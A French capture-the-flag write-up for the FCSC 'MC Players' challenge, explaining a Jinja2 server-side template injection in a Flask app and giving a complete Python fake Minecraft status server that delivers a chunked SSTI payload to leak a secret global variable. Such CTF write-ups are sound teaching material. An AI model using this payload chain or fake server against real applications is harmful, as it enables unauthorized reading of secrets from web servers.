Solution de lrstx pour MC Players

web python

3 mai 2024

La découverte

On a un fichier docker-compose.yml et une archive qui contient le code de deux images Docker. On peut lancer tout ça par la commande docker-compose up et regarder ce que cela nous donne :

$ docker-compose up
Building with native build. Learn about native build in Compose here: https://docs.docker.com/go/compose-native-build/
Starting mc-players-flag ... done
Recreating mc-players-web ... done
Attaching to mc-players-flag, mc-players-web
mc-players-flag    | 172.18.0.3 - - [09/May/2022 07:24:01] "GET / HTTP/1.1" 200 -
mc-players-web     |  * Serving Flask app 'app' (lazy loading)
mc-players-web     |  * Environment: production
mc-players-web     |    WARNING: This is a development server. Do not use it in a production deployment.
mc-players-web     |    Use a production WSGI server instead.
mc-players-web     |  * Debug mode: off
mc-players-web     |  * Running on all addresses (0.0.0.0)
mc-players-web     |    WARNING: This is a development server. Do not use it in a production deployment.
mc-players-web     |  * Running on http://127.0.0.1:2156(Press CTRL+C to quit)
mc-players-flag exited with code 0

On est donc invité à se connecter sur http://127.0.0.1:2156 :

website

Un œil rapide dans fcsc2022-mc-players/www/app.py nous indique plusieurs points intéressants :

from mcstatus import JavaServer

Le module mcstatus propose l’interrogation d’un serveur Minecraft (Java Edition si l’on en croit l’import) et l’affichage de son statut. On peut le tester avec par exemple mc.hypixel.net.

Ensuite, on voit également plusieurs mentions du flag :

FLAG = requests.get('http://mc-players-flag:1337/').text

[...]

@app.route('/flag', methods=['GET'])
def flag():
    if request.remote_addr != '13.37.13.37':
        return 'Unauthorized IP address: ' + request.remote_addr
    return FLAG

On notera aussi que le conteneur Docker mc-players-flag est uniquement exposé sur un réseau interne, il n’est pas accessible depuis l’extérieur.

À partir d’ici, on peut supposer qu’il y a une vulnérabilité dans le service web et que l’objectif va être de récupérer le flag.

La vuln

Il s’agit alors de lire et comprendre le code, qui est une implémentation Flask. Le code semble être assez classique, si ce n’est que l’on voit apparaître du HTML dans le code python. C’est en général assez révélateur d’un mauvais usage du framework, qui suit la philosophie logicielle classique de séparer la vue (HTML) de la logique (python):

    html_player_list = f'''
        <br>
        <h3>{hostname} ({len(players)}/{status.players.max})</h3>
        <ul>
    '''
    for player in players:
        html_player_list += '<li>' + player + '</li>'
    html_player_list += '</ul>'

Le code HTML est visiblement construit à partir des données que nous a retournées le serveur Minecraft interrogé. A minima, ça sent la XSS, mais peut-on avoir mieux ? Juste en dessous :

    results = render_template_string(html_player_list)
    return render_template('index.html', results=results)

Oui, car l’appel à render_template_string() va lancer l’interprétation du template html_player_list par le moteur Jinja2 qu’utilise Flask. Or, si l’on parvient à injecter des balises Jinja2 dans le template, on est en présence d’un Server Side Template Inclusion (SSTI).

Si on regarder les éléments qui sont injectés dans le template :

  • hostname ne peut être utilisé : il est fourni par l’utilisateur, mais s’il n’est pas un nom d’hôte valide, la récupération de son statut Minecraft échouera.
  • Le champ status.players.max n’est pas non plus utilisable : il est casté dans un entier dans le module mcstatus.
  • Notre meilleur candidat semble être la liste des joueurs players.

Pour confirmer cela sans lancer d’usine à gaz, on peut simplement modifier le code source de l’image Docker, par exemple en ajoutant ce bout de code juste avant la boucle injectant les joueurs dans le template :

    if request.args.get('p'):
        players.append(request.args.get('p'))

On va aussi permettre l’interrogation en GET et forcer le nom du serveur Minecraft pour simplifier les tests :

    #if request.method != 'POST' or 'server' not in request.form.keys():
    #    return render_template('index.html')
    #
    #server = request.form['server'].split(':')
    server = 'mc.hypixel.net'.split(':')

Attention, la modification nécessite de reconstruire les images Docker par docker-compose build avant la relance. Une fois cela fait, si on passe le paramètre p={{6*7}} dans notre interface :

ssti

C’est gagné, le paramètre que l’on a injecté a été interprété par Jinja2 !

À la recherche du flag

Faisons un petit point sur ce flag. Il semble y avoir plusieurs possibilités :

  • la variable globale FLAG dans la GUI.
  • la route /flag, mais il faut arriver avec une adresse IP impossible à avoir pour attaquer le serveur du FCSC.
  • la deuxième image Docker, mais celle-ci s’arrête dès que quelqu’un est venu chercher le flag (en l’occurrence, la GUI au démarrage).

Il va donc falloir faire fuiter la variable globale. On peut commencer en essayant de voir manuellement ce qui est accessible depuis notre SSTI. En particulier, on apprend que les variables request ou config sont accessibles dans notre contexte :

{{request}} =>
<Request 'http://127.0.0.1:2156/?p=%7B%7Brequest%7D%7D' [GET]>

{{config}} =>
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

On doit pouvoir remonter dans d’autres contextes, ou des builtins, mais plutôt que chercher une aiguille dans une botte de foin, on va utiliser des outils existants. Par exemple, dans cette solution d’un vieux CTF, l’auteur propose un script python search.py qui va chercher une valeur connue (ici, notre faux flag) dans le contexte. En ajoutant le fichier search.py dans le répertoire et en l’appelant dans le code existant :

    for path, obj in search(request, 10):
        if str(obj) == FLAG:
            players.append(path)
            break

On relance l’appli et l’accès à la GUI nous donne : obj.__class__._load_form_data.__globals__['json'].JSONEncoder.default.__globals__['current_app'].view_functions['index'].__globals__['FLAG']. On confirme immédiatement en tentant l’injection via notre paramètre p (attention, il faut changer la racine obj par notre contexte request):

http://127.0.0.1:2156/?p={{request.__class__._load_form_data.__globals__[%27json%27].JSONEncoder.default.__globals__[%27current_app%27].view_functions[%27index%27].__globals__[%27FLAG%27]}}
=> FCSC{TEST_FLAG}

Victoire ! Enfin, pas encore tout à fait…

Charcuterie

Un nouveau problème surgit : on ne va pas pouvoir passer cette expression telle qu’elle. Il faut la passer dans un nom de joueur, or :

        for player in status.players.sample:
            if re.match(r'\w*', player.name) and len(player.name) <= 20:
                players.append(player.name)

L’expression rationnelle ne nous gênera pas, en revanche, un nom de joueur ne peut excéder 20 caractères. Heureusement, Jinja2 nous vient en aide : on peut, dans un template, définir des variables via le mot clef set. Mais il va falloir ruser pour que chaque expression ne dépasse pas la limite, en coupant et re-concaténant des chaînes et en adaptant certains éléments. Au final, j’ai obtenu ceci :

players = [
    '{%set r=request%}',
    '{%set u="__"%}',
    '{%set c="class"%}',
    '{%set r=r[u+c+u]%}',
    '{%set l="_load_"%}',
    '{%set f="form_"%}',
    '{%set d="data"%}',
    '{%set r=r[l+f+d]%}',
    '{%set g="globals"%}',
    '{%set r=r[u+g+u]%}',
    '{%set r=r["json"]%}',
    '{%set j="JSONE"%}',
    '{%set n="ncoder"%}',
    '{%set r=r[j+n]%}',
    '{%set r=r.default%}',
    '{%set r=r[u+g+u]%}',
    '{%set c="current"%}',
    '{%set a="_app"%}',
    '{%set r=r[c+a]%}',
    '{%set v="view_f"%}',
    '{%set s="unctions"%}',
    '{%set r=r[v+s]%}',
    '{%set r=r["index"]%}',
    '{%set r=r[u+g+u]%}',
    '{%set r=r["FLAG"]%}',
    '{{r}}' ]

En ajoutant cette expression dans le code de l’application, entre le moment où il interroge le serveur et l’ajout des joueurs dans le résultat, on peut constater que l’on obtient bien le flag.

On va enfin pouvoir boucler tout ça en simulant un serveur qui fournit ces joueurs…

Le final

J’ai lu que des joueurs avaient trouvé des implémentations de ce service de statut. J’avoue n’avoir pas cherché, je pensais le protocole suffisamment simple pour être implémenté. Une erreur, ou plutôt un détail va me faire perdre pas mal de temps.

L’enchaînement des requêtes est le suivant:

sequenceDiagram
    participant Challenge
    participant FakeStatusServer
        Challenge->>FakeStatusServer: handshake
        Challenge->>FakeStatusServer: getstatus
        FakeStatusServer-->>Challenge: status
        Challenge->>FakeStatusServer: ping
        FakeStatusServer-->>Challenge: pong

Et le traitement :

  • le handshake n’attend pas de réponse (curieux, pour un handshake), on l’ignore donc.
  • la demande de statut spécifie le serveur que l’on requête. La réponse contient un JSON de description du serveur, incluant les joueurs.
  • le ping attend simplement une réponse identique à la requête.

Plus précisément, le paquet de réponse au statut est de cette forme :

Paquet
taille paquet
id commande (0 pour status)
taille payload
payload JSON

La subtilité qui m’a fait perdre pas mal de temps est le format des champs qui contiennent les tailles (paquet et payload). Il s’agit d’un encodage à taille variable : la taille est expédiée en little-endian par paquet de 7 bits, le 8ème bit, de poids fort, indiquant s’il faut attendre un paquet suivant ou non. Tant qu’on reste dans des petites tailles, c’est équivalent, mais comme la réponse au statut est un peu grande, il faut gérer cela (fonction pack_int() dans mon code)

L’intégralité de mon exploit est ci-dessous. Lorsqu’on le lance est que l’on fait pointer le challenge dessus :

$ python3 fakeserver.py  192.168.1.6 1337
Listening...
Connection from: ('141.94.171.29', 33278)
< b'\x00/\x0f<REDACTED>\x059\x01'
=> Handshake ? We ignore it.
< b'\x00'
=> Asking for status
> b'\x96\n\x00\x93\n{"version": {"name": "Requires MC 1.8 / 1.18", "protocol": 47}, "players": {"max": 200000, "online": 47875, "sample": [{"name": "{%set r=request%}", "id": "0"}, {"name": "{%set u=\\"__\\"%}", "id": "1"}, {"name": "{%set c=\\"class\\"%}", "id": "2"}, {"name": "{%set r=r[u+c+u]%}", "id": "3"}, {"name": "{%set l=\\"_load_\\"%}", "id": "4"}, {"name": "{%set f=\\"form_\\"%}", "id": "5"}, {"name": "{%set d=\\"data\\"%}", "id": "6"}, {"name": "{%set r=r[l+f+d]%}", "id": "7"}, {"name": "{%set g=\\"globals\\"%}", "id": "8"}, {"name": "{%set r=r[u+g+u]%}", "id": "9"}, {"name": "{%set r=r[\\"json\\"]%}", "id": "10"}, {"name": "{%set j=\\"JSONE\\"%}", "id": "11"}, {"name": "{%set n=\\"ncoder\\"%}", "id": "12"}, {"name": "{%set r=r[j+n]%}", "id": "13"}, {"name": "{%set r=r.default%}", "id": "14"}, {"name": "{%set r=r[u+g+u]%}", "id": "15"}, {"name": "{%set c=\\"current\\"%}", "id": "16"}, {"name": "{%set a=\\"_app\\"%}", "id": "17"}, {"name": "{%set r=r[c+a]%}", "id": "18"}, {"name": "{%set v=\\"view_f\\"%}", "id": "19"}, {"name": "{%set s=\\"unctions\\"%}", "id": "20"}, {"name": "{%set r=r[v+s]%}", "id": "21"}, {"name": "{%set r=r[\\"index\\"]%}", "id": "22"}, {"name": "{%set r=r[u+g+u]%}", "id": "23"}, {"name": "{%set r=r[\\"FLAG\\"]%}", "id": "24"}, {"name": "{{r}}", "id": "25"}]}, "description": "YourWorstNightmare"}'
< b'\x01ppHY\xad\xac\xf4\x8b'
Asking for ping
> b'\t\x01ppHY\xad\xac\xf4\x8b'

Et côté serveur :

exploit

Le flag est donc FCSC{4141f870d98724a3c32b138888e72c5de4e3c793fe1410e1e269d551ae3b3b0f}.

Script de résolution fakeserver.py

#!/usr/bin/env python3

import socket
import json
import sys

if len(sys.argv) != 3:
    print('Syntax: {} <listen_ip> <listen_port>')
    exit(-1)
host = sys.argv[1]
port = int(sys.argv[2])

exploit = [
    '{%set r=request%}',
    '{%set u="__"%}',
    '{%set c="class"%}',
    '{%set r=r[u+c+u]%}',
    '{%set l="_load_"%}',
    '{%set f="form_"%}',
    '{%set d="data"%}',
    '{%set r=r[l+f+d]%}',
    '{%set g="globals"%}',
    '{%set r=r[u+g+u]%}',
    '{%set r=r["json"]%}',
    '{%set j="JSONE"%}',
    '{%set n="ncoder"%}',
    '{%set r=r[j+n]%}',
    '{%set r=r.default%}',
    '{%set r=r[u+g+u]%}',
    '{%set c="current"%}',
    '{%set a="_app"%}',
    '{%set r=r[c+a]%}',
    '{%set v="view_f"%}',
    '{%set s="unctions"%}',
    '{%set r=r[v+s]%}',
    '{%set r=r["index"]%}',
    '{%set r=r[u+g+u]%}',
    '{%set r=r["FLAG"]%}',
    '{{r}}',
]

players = [ {'name': e, 'id': str(i)} for i, e in enumerate(exploit)]

def start_listening():
    # Create the socket and start listening.
    server_socket = socket.socket()
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((host, port))
    server_socket.listen(1)
    print('Listening...')

    while True:
        conn = None
        try:
            # Incoming connection
            conn, address = server_socket.accept()
            print("Connection from: " + str(address))
            while True:
                # The first byte is the length of the packet
                # Fixme: it won't work if the packet length exceeds 255, but we don't care
                # in our contexte. :)
                data = conn.recv(1)
                if not data:
                    break
                l = int.from_bytes(data, "little")

                # Now we read the payload send
                data = conn.recv(l)
                if not data:
                    break
                print(f'< {data}')

                # What kind of packet is it ?
                cmd = data[0]
                if cmd == 0:
                    if l == 1:
                        print('=> Asking for status')
                        handle_status(conn, data)
                    else:
                        print('=> Handshake ? We ignore it.')
                        continue
                elif cmd == 1:
                    print('Asking for ping')
                    handle_ping(conn, data)
                else:
                    print('Unknown commande {cmd}')

            conn.close()  # close the connection

        except KeyboardInterrupt:
            if conn:
                conn.close()
            break
    print('Exit')

# Encoding of a length
def pack_int(x):
    byte = bytearray()
    while x > 0:
        temp = x & 0b01111111
        x = x >> 7
        if x != 0:
            temp |= 0b10000000
        byte.append(temp)
    return bytes(byte)

def handle_status(conn, input):
    status = {
        "version": {
            "name":"Requires MC 1.8 / 1.18",
            "protocol":47
        },
        "players":{
            "max":200000,
            "online":47875,
            "sample": players,
        },
        "description": "YourWorstNightmare",
    }
    json_status = json.dumps(status).encode('utf-8')
    # Packet size + 0x00 (status command) + Json size + json
    data = b'\x00' + pack_int(len(json_status)) + json_status
    data = pack_int(len(data)) + data
    print(f'> {data}')
    conn.send(data)  # send data to the client

def handle_ping(conn, input):
    data = input # pong
    data = pack_int(len(data)) + data
    print(f'> {data}')
    conn.send(data)  # send data to the client

if __name__ == '__main__':
    start_listening()